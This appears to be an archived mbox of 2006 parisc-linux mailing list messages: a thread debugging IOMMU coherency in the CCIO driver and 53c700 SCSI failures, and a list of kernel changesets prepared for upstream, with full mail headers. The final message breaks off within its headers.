X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hiR0cNxoeWU7ULeUfHVzg/o5U3U4N8/L
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25366

On Thu, Nov 02, 2006 at 10:11:02PM +0000, Joel Soete wrote:
> Hello Grant,
> 
> In one of my test, I also activated CCIO_MAP_STATS and noticed that before 
> 53c700 pb occured the ccio driver used a very few number of entries: may 
> max 30 of severall 100 available?

ok. that's not too surprising given drivers are only supposed to map
memory for DMA just before sending the DMA request to HW.

> This make me so suspected a pb of coherency and remember me another of your 
> comment in sba:
>         /* XXX REVISIT for 2.5 Linux - need syncdma for zero-copy support.
>         ** For Astro based systems this isn't a big deal WRT performance.
>         ** As long as 2.4 kernels copyin/copyout data from/to userspace,
>         ** we don't need the syncdma. The issue here is I/O MMU cachelines
>         ** are *not* coherent in all cases.  May be hwrev dependent.
>         ** Need to investigate more.
>         asm volatile("syncdma");
>         */

What makes you think this is a problem with IOMMU coherency?

> Reading back pa11_acd text:
...
> So my first question is:
> How/where could I find if U-bit is implemented on my systems?

I'm certain all PA 2.0 systems support U-bit.
I believe all PA 1.1 systems do too.
arch/parisc/kernel/pci-dma.c depends on it I think.

PDC might also tell us but I haven't looked the spec recently.

> p-l pacache.S rely on its implementation (while hpux does syncdma 
> conditional to a global var: duno what? )
> 
> TIA,
> 	Joel
> 
> PS: by reference to this James'paper 
> <http://www.linuxjournal.com/article/7104>, mmu virtualize physical memory 
> addresses for the cpu and otoh iommu virtualize this same physical memory 
> addresses for the io bus; so given a virtual page address for the cpu, it's 
> impossible for lpa to help me to know if this page is a physical address of 
> a page in IO address space (I mean above 0xF0000000 for 32 bit kernels and 
> above 0xF1000000 00000000 for 64bit kernel)?

lpa by itself won't work.
Also need to know the memory map of the system.

> PS2: is there any way to grab a [id]tlb entry for a given virtual address 
> (may be undocumented feature like the "bit graber" ;-) ?)

 I don't know. Probably but requires knowledge of how addresses
map to either I or D cache.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: syncdma question (back to ccio drivers)
Date: Sun, 05 Nov 2006 11:50:45 +0000
Lines: 108
Approved: news@gmane.org
Message-ID: <454DD015.6040304@scarlet.be>
References: <454A6CF6.3040309@scarlet.be>
	<20061104223938.GC14141@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624618 27889 80.91.229.3 (22 Nov 2014 02:50:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:18 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Nov 2006 11:51:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 05 Nov 2006 12:51:07 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A55077D857;
	Sun,  5 Nov 2006 04:51:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03520-01; Sun, 5 Nov 2006 04:51:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C0BE7D831;
	Sun,  5 Nov 2006 04:50:58 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 489E97D81E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Nov 2006 04:50:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02932-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 5 Nov 2006 04:50:51 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E74C17D404
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Nov 2006 04:50:51 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 83613494010; Sun,  5 Nov 2006 04:50:51 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id AFD2349400E;
	Sun,  5 Nov 2006 04:50:48 -0700 (MST)
Original-Received: from (ip-213-49-79-210.dsl.scarlet.be [213.49.79.210]) 
	by guri.is.scarlet.be  with ESMTP id kA5BojS13162; 
	Sun, 5 Nov 2006 12:50:46 +0100
User-Agent: Icedove 1.5.0.7 (X11/20061013)
In-Reply-To: <20061104223938.GC14141@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: H6p4LYNPZDI4DLHGdWY2v4JxemhmY4FV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25367

Hello Grant,

Grant Grundler wrote:
 > On Thu, Nov 02, 2006 at 10:11:02PM +0000, Joel Soete wrote:
 >> Hello Grant,
 >>
 >> In one of my test, I also activated CCIO_MAP_STATS and noticed that before 53c700 pb occured the ccio driver used a very 
few number of entries: may max 30 of severall 100 available?
 >
 > ok. that's not too surprising given drivers are only supposed to map
 > memory for DMA just before sending the DMA request to HW.
 >
 >> This make me so suspected a pb of coherency and remember me another of your comment in sba:
 >>         /* XXX REVISIT for 2.5 Linux - need syncdma for zero-copy support.
 >>         ** For Astro based systems this isn't a big deal WRT performance.
 >>         ** As long as 2.4 kernels copyin/copyout data from/to userspace,
 >>         ** we don't need the syncdma. The issue here is I/O MMU cachelines
 >>         ** are *not* coherent in all cases.  May be hwrev dependent.
 >>         ** Need to investigate more.
 >>         asm volatile("syncdma");
 >>         */
 >
 > What makes you think this is a problem with IOMMU coherency?
 >
Remember: 53c700 driver on b180 (don't use any ccio) works fine but the same 53c700 driver on c110/d380 failed sadely:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030202.html>

and according to James' comment:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030204.html>

this should be a pb in sg list management; not in 53c700 (because works fine without ccio) but well in ccio to which this 
53c700 driver has to address its io request, right?

In a first step, I so manage to backport all your sba job since the time those drivers looks like brotherhood:
around
<http://cvs.parisc-linux.org/linux-2.4/arch/parisc/kernel/sba_iommu.c?rev=1.26&view=markup>

This seems to help to improve ncr53c720 driver (not absolutely sure: run untar/rm loop only 1h while it failed after few min 
before, but not yet enough for me and more over it seems to break dino on the d380 additional nic, though) but if didn't 
seem to degrade 53c700 driver, it didn't improve it at all.

In a second step, I suspected specific stuff to ccio and specialy what doesn't seems to exist here in ccio:
the sba
     /* flush purges */
     READ_REG32(ioc->ioc_hpa+IOC_PCOM);

but without doc (not yet publicaly available) I couldn't go further in this investigation.

Let so assume that's ok.

Anyway something else could show a pb of synchronization: the driver perf which can be a bit improved by disabling 
CCIO_SEARCH_TIME as this comment said:
/*
  * CCIO_SEARCH_TIME can help measure how fast the bitmap search is.
  * impacts performance though - ditch it if you don't use it.
  */

If that make top stat completely false that mainly made 53c700 behaviour even worse: (with the same driver code and same up 
config) even only one untar/rm didn't reach to complete (iirc it didn't even finished untar) while it could at least 
complete 2 or 3 loop before.

This latest test make me though it could also be a pb of synchronization somewhere between ccio and 53c700 and may be a pb 
of cache?

 >> Reading back pa11_acd text:
 > ...
 >> So my first question is:
 >> How/where could I find if U-bit is implemented on my systems?
 >
 > I'm certain all PA 2.0 systems support U-bit.
 > I believe all PA 1.1 systems do too.
 > arch/parisc/kernel/pci-dma.c depends on it I think.
 >
 > PDC might also tell us but I haven't looked the spec recently.
 >
ok I will try to find out stuff.

 >> p-l pacache.S rely on its implementation (while hpux does syncdma conditional to a global var: duno what? )
 >>
 >> TIA,
 >>     Joel
 >>
 >> PS: by reference to this James'paper <http://www.linuxjournal.com/article/7104>, mmu virtualize physical memory 
addresses for the cpu and otoh iommu virtualize this same physical memory addresses for the io bus; so given a virtual page 
address for the cpu, it's impossible for lpa to help me to know if this page is a physical address of a page in IO address 
space (I mean above 0xF0000000 for 32 bit kernels and above 0xF1000000 00000000 for 64bit kernel)?
 >
 > lpa by itself won't work.
 > Also need to know the memory map of the system.
 >
 >> PS2: is there any way to grab a [id]tlb entry for a given virtual address (may be undocumented feature like the "bit 
graber" ;-) ?)
 >
 >  I don't know. Probably but requires knowledge of how addresses
 > map to either I or D cache.
 >
 > grant
 >
 >
Thanks,
     Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Changesets for Linus
Date: Sun, 5 Nov 2006 20:31:58 -0700
Lines: 132
Approved: news@gmane.org
Message-ID: <20061106033157.GJ27140@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624618 27891 80.91.229.3 (22 Nov 2014 02:50:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Nov 2006 03:32:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 06 Nov 2006 04:32:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9A5707D847;
	Sun,  5 Nov 2006 20:32:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14754-06; Sun, 5 Nov 2006 20:32:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B24407D81E;
	Sun,  5 Nov 2006 20:32:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA0D97D769
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Nov 2006 20:31:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14656-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 5 Nov 2006 20:31:58 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 853A47D62A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Nov 2006 20:31:58 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 50070494007; Sun,  5 Nov 2006 20:31:58 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 3AC9A494003; Sun,  5 Nov 2006 20:31:58 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: i55obc2CLi5nE/fRZWtp/HBjZml1ZFjO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25368


Kyle's asked me to put together a set of patches for Linus, and here's a
list of the patches I'm intending to include.  I'd appreciate feedback if
there's anything that people don't feel is ready to go upstream yet.
I may well combine a few changesets if they happen to do something, take
it out, then put it back in again, for example.

commit 743eb36af4816ab78fad79bfa68e3d4cdd12696f
Author: Kyle McMartin <kyle@parisc-linux.org>
Date:   Sun Aug 13 22:19:53 2006 -0400

    Disallow RESOURCES_64BIT

commit 9d5cf02f00cce18072f5e4b1e10a4434beb9b422
Author: Helge Deller <deller@gmx.de>
Date:   Sat Oct 14 20:02:15 2006 +0200

            avoid compiler warnings when compiling 64bit

(portions of that one anyway, some bits aren't needed any more)

commit a563a4604c1d9d9d2952cfb1006dd0a10570a55e
Author: Helge Deller <deller@gmx.de>
Date:   Sat Oct 14 22:11:32 2006 +0200

        use BUILD_BUG_ON() and constify static array

commit 2e6dd5e77529c1b7d1f8bdf4bdd7e07cc60833cc
Author: Kyle McMartin <kyle@athena.road.mcmartin.ca>
Date:   Sun Oct 15 22:40:27 2006 -0400

    bloody printf fmt string warnings

(I might change the commit message ;-)

commit 7f4e3e4b954a2ed0467cae42fec52e7f8cb3511b
Author: Kyle McMartin <kyle@mako.i.cabal.ca>
Date:   Mon Oct 16 00:29:47 2006 -0400

    Reserve 1GB of space for vmalloc/tmpalias space on parisc64

commit 4b6e7aff55b30fae856fe58b9ccf430235ebddae
Author: Helge Deller <deller@gmx.de>
Date:   Sat Oct 14 22:10:44 2006 +0200

        show more memory information and memory layout at bootup as i386 does

commit 18292d9958132333df061fca631d74d91ddee9fc
Author: Kyle McMartin <kyle@mako.i.cabal.ca>
Date:   Mon Oct 16 20:34:00 2006 -0400

    Unbreak discontigmem configs

commit 2049c31ef50fd1b5ff569346ee53b057689a7bfd
Author: Helge Deller <deller@gmx.de>
Date:   Wed Oct 18 21:44:30 2006 +0200

        trivial: fix printk message, add missing ')'

commit b6f36d52c15c292bebf20e6af2f9234fd8dc99cc
Author: Matthew Wilcox <matthew@wil.cx>
Date:   Fri Oct 13 12:32:50 2006 -0600

    Delete arch/parisc/mm/kmap.c again

commit fc0c84fdb74ae0dda94ae54c7bb10d62cc8ffce8
Author: Matthew Wilcox <matthew@wil.cx>
Date:   Tue Oct 24 13:49:54 2006 -0600

    Fix integer/pointer warning

commit 1c390fb3ec8b9d3526e3b915c5c47ead21b7579a
Author: Ryan Bradetich <rbrad@j6000.(none)>
Date:   Thu Oct 26 01:27:18 2006 +0000

    Fix ccio_request_resource when CONFIG_IOMMU_CCIO is not defined.

commit 37a6195ce6a929b4bb4414aaad4a832ad0ad4bb7
Author: Matthew Wilcox <matthew@wil.cx>
Date:   Thu Oct 26 10:06:07 2006 -0600

    PA-RISC: sparse fixes

commit 1c5484420c0a451eafd30121fd1fcc62bd234f1e
Author: Kyle McMartin <kyle@athena.road.mcmartin.ca>
Date:   Mon Oct 30 11:42:24 2006 -0500

    Enable CONFIG_LOCALVERSION_AUTO in defconfigs

commit 51b7e5b02eb56d5560ecf89231f2e2be5ef2805e
Author:  <rbradetich@gmail.com>
Date:   Fri Nov 3 05:05:01 2006 +0000

    HPPB bus updates for E-Class systems.

commit 0ce7ad9bc32ed7ee90df315bae7f6a406cae997f
Author:  <rbradetich@gmail.com>
Date:   Fri Nov 3 05:38:39 2006 +0000

    Mux driver bug fix.

commit 4519e71625d9c2bd44f8db3b4b7e0bac722e39c9
Author:  <rbradetich@gmail.com>
Date:   Fri Nov 3 05:52:41 2006 +0000

    Mux driver updates.
    
commit 6f53c0827f4083c84afce220f07b420ab88d6d78
Author:  <rbrad@j6000.bradetich.net>
Date:   Fri Nov 3 06:34:16 2006 +0000

    Claim resources for the Mux driver.

commit 5575d19a9c5d2dcf0ec79b6eb74a772f552c741d
Author: Ryan Bradetich <rbradetich@gmail.com>
Date:   Sun Nov 5 01:21:44 2006 +0000

    Make the Serial Mux driver work as module.

commit e1782fb22d23a5daa1c6b1184fc6a6944bc51995
Author: Matthew Wilcox <matthew@wil.cx>
Date:   Sun Nov 5 15:24:48 2006 -0700

    PARISC: sparse fixes


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: syncdma question (back to ccio drivers)
Date: Mon, 6 Nov 2006 00:11:16 -0700
Lines: 91
Approved: news@gmane.org
Message-ID: <20061106071116.GA14243@colo.lackof.org>
References: <454A6CF6.3040309@scarlet.be>
	<20061104223938.GC14141@colo.lackof.org>
	<454DD015.6040304@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624618 27897 80.91.229.3 (22 Nov 2014 02:50:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:18 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Nov 2006 07:11:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx093) with SMTP; 06 Nov 2006 08:11:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 24C347D847;
	Mon,  6 Nov 2006 00:11:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17301-05; Mon, 6 Nov 2006 00:11:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49CEA7D85A;
	Mon,  6 Nov 2006 00:11:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E8B17D7EE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Nov 2006 00:11:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17301-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Nov 2006 00:11:20 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id EF48B7D79E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Nov 2006 00:11:20 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 993A649400F; Mon,  6 Nov 2006 00:11:20 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 4A21E494003;
	Mon,  6 Nov 2006 00:11:18 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id EA5063D8372;
	Mon,  6 Nov 2006 00:11:16 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30448-10; Mon, 6 Nov 2006 00:11:16 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4254D3D8371; Mon,  6 Nov 2006 00:11:16 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <454DD015.6040304@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EdV8fdEWPjltCOrBOTU2WkEzMTE2NckF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25369

On Sun, Nov 05, 2006 at 11:50:45AM +0000, Joel Soete wrote:
..
> > What makes you think this is a problem with IOMMU coherency?
> >
> Remember: 53c700 driver on b180 (don't use any ccio) works fine but the 
> same 53c700 driver on c110/d380 failed sadely:
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030202.html>
> 
> and according to James' comment:
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030204.html>
> 
> this should be a pb in sg list management; not in 53c700 (because works 
> fine without ccio) but well in ccio to which this 53c700 driver has to 
> address its io request, right?

Ah ok. It doesn't have to be the SG list handling.
So what is wrong? I have no clue.


This might also be a write-posting problem with MMIO register writes.
The CCIO chip might be introducing enough delay to expose the problem.

My second guess is a coherency problem with "consistent" data.
Ie control data that is allocated with pci_alloc_consistent().
I find this unlikely but it's possible.

> In a first step, I so manage to backport all your sba job since the time 
> those drivers looks like brotherhood:
> around
> <http://cvs.parisc-linux.org/linux-2.4/arch/parisc/kernel/sba_iommu.c?rev=1.26&view=markup>

Those two driver do have alot in common. But the TLB replacement algorithms
are NOT the same. The IO Pdir has different coherency rules as well.
Unfortunately, I don't remember all the details.

> This seems to help to improve ncr53c720 driver (not absolutely sure: run 
> untar/rm loop only 1h while it failed after few min before, but not yet 
> enough for me and more over it seems to break dino on the d380 additional 
> nic, though) but if didn't seem to degrade 53c700 driver, it didn't improve 
> it at all.
> 
> In a second step, I suspected specific stuff to ccio and specialy what 
> doesn't seems to exist here in ccio:
> the sba
>     /* flush purges */
>     READ_REG32(ioc->ioc_hpa+IOC_PCOM);
> 
> but without doc (not yet publicaly available) I couldn't go further in this 
> investigation.

Yes, that's another difference. IIRC, SBA can flush a _range_ of TLB entries
and CCIO (Uturn/U2) can not.

> 
> Let so assume that's ok.
> 
> Anyway something else could show a pb of synchronization: the driver perf 
> which can be a bit improved by disabling CCIO_SEARCH_TIME as this comment 
> said:
> /*
>  * CCIO_SEARCH_TIME can help measure how fast the bitmap search is.
>  * impacts performance though - ditch it if you don't use it.
>  */
> 
> If that make top stat completely false

Sorry -ENOPARSE.

> that mainly made 53c700 behaviour 
> even worse: (with the same driver code and same up config) even only one 
> untar/rm didn't reach to complete (iirc it didn't even finished untar) 
> while it could at least complete 2 or 3 loop before.

Sounds like there is a race condition between asking for a mapping
and it's use. Enableing CCIO_SEARCH_TIME will just make that longer.
Maybe experiement with adding udelay(10) or udelay(100) in the
same code path to see what happens.

> This latest test make me though it could also be a pb of synchronization 
> somewhere between ccio and 53c700 and may be a pb of cache?
 
Maybe.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] suppress led task for KittyHawk's LCD
Date: Sun, 12 Nov 2006 01:45:35 +0100
Lines: 86
Approved: news@gmane.org
Message-ID: <20061112014535.f583cc92.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="Multipart=_Sun__12_Nov_2006_01_45_35_+0100_v2fihL715RsiaKYq"
X-Trace: ger.gmane.org 1416624618 27902 80.91.229.3 (22 Nov 2014 02:50:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Nov 2006 00:45:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 12 Nov 2006 01:45:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 713AA7D89F;
	Sat, 11 Nov 2006 17:45:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
